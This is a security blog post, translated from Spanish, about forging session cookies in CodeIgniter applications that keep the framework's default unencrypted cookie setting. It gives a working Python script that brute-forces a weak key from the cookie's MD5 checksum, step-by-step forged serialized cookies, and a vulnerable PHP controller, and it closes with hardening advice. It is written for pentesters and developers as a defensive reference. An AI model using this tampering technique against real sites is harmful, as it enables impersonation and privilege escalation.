(IN)secure session data in CodeIgniter

(IN)secure session data in CodeIgniter

Posted on July 04, 2013 by Roberto Salgado

This last year I reviewed some web applications written with CodeIgniter, a PHP framework used for web development. After seeing the same mistakes again and again, I decided to write this small post as a reference for pentesters and programmers that use this framework.

 

Identifying CodeIgniter applications

CodeIgniter only requires PHP and should run on any server which supports it. While it is not possible to identify CodeIgniter by a particular header, a typical cookie looks like this:

Set-Cookie: ci_session=a%3a5%3a{s%3a10%3a"session_id"
%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"
111.111.111.1"%3bs%3a10%3a"user_agent"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+
WOW64%3b+rv%3a21.0)+Gecko/20100101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3b
i%3a1372913399%3bs%3a9%3a"user_data"%3bs%3a0%3a""%3b}b5b3330c886f4ccbc591c02bc94f2e6c;
 expires=Thu, 04-Jul-2013 06:49:59 GMT; path=/

 Aside from having a variable with the name ci_session, which can be changed via the configuration, it has other variables such as session_idip_addressuser_agentlast_activity and user_data. Using these fields we can identify the framework.

 

How does CodeIgniter handle sessions?

CodeIgniter's default configuration stores session data in a serialized object inside an unencrypted cookie. If we analyze the content of this cookie we can see a serialized object similar to the following:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 
(Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";}

 

Insecure session configuration

Although CodeIgniter does offer secure session handling by encrypting the cookie and using a database, it is still very common to encounter the following configuration:

$config['sess_cookie_name'] = 'ci_session';
$config['sess_expiration'] = 7200;
$config['sess_expire_on_close']	= FALSE;
$config['sess_encrypt_cookie'] = FALSE;
$config['sess_use_database'] = FALSE;
$config['sess_table_name'] = 'ci_sessions';
$config['sess_match_ip'] = FALSE;
$config['sess_match_useragent']	= TRUE;
$config['sess_time_to_update']	= 300;

This default configuration is distributed with the framework (https://github.com/EllisLab/CodeIgniter/blob/develop/application/config/config.php), so we can expect to find these insecure settings in the majority of applications using CodeIgniter. Unfortunately, this default configuration allows for the manipulation of session data and opens the door to many other vulnerabilities related to insecure session handling as we will see further ahead.

 

Protecting session objects in CodeIgniter

CodeIgniter implements a basic system to try to prevent having session objects altered. Note that the session cookie is not only composed of the serialized object:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; 
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c

The last 32 bytes, in this case b5b3330c886f4ccbc591c02bc94f2e6c, belong to a MD5 hash generated using the encryption key and the serialized object. If we were to only modify the serialized object, the hash would not be the same and the framework would detect that the request was tampered with and reject it.

 

Injecting session data

Something peculiar about CodeIgniter is that the user's session data is not found inside of user_data as one would expect. Suppose we receive the following cookie from the application:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2;
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";}

To add a new session variable with the key “new_key” and a value of “new_value” we would do the following:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; 
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";s:11:"new_key";s:11:"new_value";}

Do not forget to adjust the size of the array:

a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2;
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";s:11:”new_key”;s:11:"new_value";}

Now we just have to obtain the encryption key and concatenate it with the object we intend to inject, so that we can obtain a valid MD5. If the developers used a weak encryption key then we can use the following Python script to obtain it:

#!/usr/bin/python
import itertools, string, hashlib

ci_cookie_decoded = 'cookie goes here'
ci_cookie_md5 = ci_cookie_decoded[-32:]
print ci_cookie_md5
ci_cookie = ci_cookie_decoded[:-32]
print ci_cookie
for str in map(''.join, itertools.product(string.ascii_lowercase, repeat=5)):
  print str
  md5sum = hashlib.md5(ci_cookie+str).hexdigest()
  print md5sum
  print ci_cookie_md5
  if md5sum == ci_cookie_md5:
    print "The encryption key is: "+str
    break

We will use a valid cookie we received from the application, for example:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 
6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c

In this case the script found that the encryption key is "abcde". We can now use this encryption key to generate a valid serialized object; it is only a matter of concatenating the encryption key with our object and calculating the new MD5 hash.

a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; 
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";
s:0:"";s:11:new_key”;s:11:”new_value”;}abcde

The obtained MD5 hash, in this case 594c293189734829b075ab09964e378f, will act as a checksum which we must append to the end of the object we wish to inject into:

a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0)
 Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";s:0:"";
s:11:"new_key";s:11:"new_value";}594c293189734829b075ab09964e378f

After URL encoding the characters in our tampered and VALID cookie, it looks like this:

a%3a6%3a{s%3a10%3a"session_id"%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60
"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"111.111.111.1"%3bs%3a10%3a"user_agent
"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+WOW64%3b+rv%3a21.0)+Gecko/201
00101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3bi%3a1372913399%3bs%3a9%3a"
user_data"%3bs%3a0%3a""%3bs%3a11%3a"new_key"%3bs%3a11%3a"new_value"
%3b}594c293189734829b075ab09964e378f

 

Identifying vulnerable applications

Now that we know how to inject session variables, we just need to exploit logic errors and insufficient data validation throughout the application.

For example, the following snippet is from a vulnerable function which assumes the data from the session variables is secure and allows an attacker to read arbitrary files, elevate privileges or impersonate the identity of any other user:

public function dashboard($error){
	$logged = $this->session->userdata('logged_in');
	if($logged == 1){
		if(isset($error)){
			$this->exit['error'] = $error;
		}
		$this->exit['title'] = 'Dashboard';
		$this->exit['userType'] = $this->session->userdata('userType');
		$this->exit['name'] = $this->session->userdata('name');
		$this->exit['userPhoto']  = $this->session->userdata('userPhoto');
		$this->exit['userThumb'] = $this->session->userdata('userThumb');
		$userType = $this->exit['userType'];
		$name = $this->exit['name'];
		$idUser  = $this->session->userdata('idUser');
		
			
		$this->load->view('admin/headers/header', $this->exit);
		$this->load->view('admin/dashboard', $this->exit);
	} else {
		redirect('login');
	}
}

If you have access to the source code, pay attention to when these variables are accessed and processed:

$this->session->userdata

 

Recommendations for developers

I would like to conclude by recommending to anyone who works with CodeIgniter to active encryption on cookies, store sessions in a database and have a look at all the security options which are available with CodeIgniter. Oh, and don't forget to use a strong encryption key.

 

Until next time!


This post was originally written by Paulino Calderon and was translated by Roberto Salgado. The original post in Spanish can be found here.


Latest Blog Entries

Downloading an Application's Entire Source Code Through an Exposed GIT Directory
Website administrators sometimes inadvertently leave an exposed .git directory, from which it is possible to download the entire source code of the web application using just wget and a common server misconfiguration.

credmap: The Credential Mapper
An overview of credmap, an open source penetration testing tool that automates the process of testing for credential reuse. It does so by testing supplied user credentials on known websites and verifies if the password has been reused on any of these.

New publication: Mastering the Nmap Scripting Engine
We invite you to learn more about the latest publication from our team, "Mastering the Nmap Scripting Engine".

Latest News

Blackhat EU 2015
Websec participated with two tools at the Blackhat, EU Arsenal held in Amsterdam, NL from the 10-13 of November, 2015. During this event, we introduced our brand new tool "credmap: The Credential Mapper" and also presented an amped-up version of Panoptic.

BSides Vancouver 2015
Websec is proud to announce that we will be attending the 3rd annual edition of BSides Vancouver, a local non-profit information security conference held in the heart of Vancouver, BC on March 16 and 17.